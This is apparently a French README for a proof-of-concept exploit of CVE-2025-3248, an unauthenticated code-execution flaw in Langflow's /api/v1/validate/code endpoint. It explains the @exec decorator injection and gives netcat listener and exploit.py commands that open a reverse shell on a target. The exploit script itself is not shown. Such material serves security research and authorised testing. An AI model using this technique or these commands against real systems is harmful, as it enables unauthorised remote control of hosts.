
Preuve de concept pour CVE-2025-3248, une vulnérabilité d'exécution de code à distance non authentifiée dans Langflow, démontrant une injection de code via le point de terminaison /api/v1/validate/code.
Preuve de concept d'exploitation pour CVE-2025-3248, une vulnérabilité d'exécution de code à distance non authentifiée dans Langflow, une plateforme de création de flux de travail pour l'IA et les LLM.
Langflow expose un point de terminaison, POST /api/v1/validate/code, destiné à
« valider » un extrait de code Python soumis par l'interface utilisateur (par exemple,
le code de composants personnalisés). En interne, il analyse et compile le code avec
ast.parse() / compile() et renvoie si le code est valide — sans aucune
authentification requise.
Le bug : Python évalue les expressions de décorateur au moment de l'analyse/compilation, avant même que la fonction décorée ne soit appelée. Si le « code à valider » soumis contient un décorateur comme :
@exec("...code malveillant...")
def test():
pass
l'appel exec(...) s'exécute dès que le code est analysé — la validation n'a jamais
besoin d'invoquer réellement test(). Combiné à l'absence d'authentification et à
l'absence de sandbox, une seule requête HTTP non authentifiée suffit pour exécuter
des commandes arbitraires sur l'hôte exécutant Langflow.
nc -lvnp 9001
python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]
pip install requests
Ce code est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement (laboratoires, CTF, engagements avec autorisation écrite explicite). Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test. L'auteur n'est pas responsable d'une mauvaise utilisation.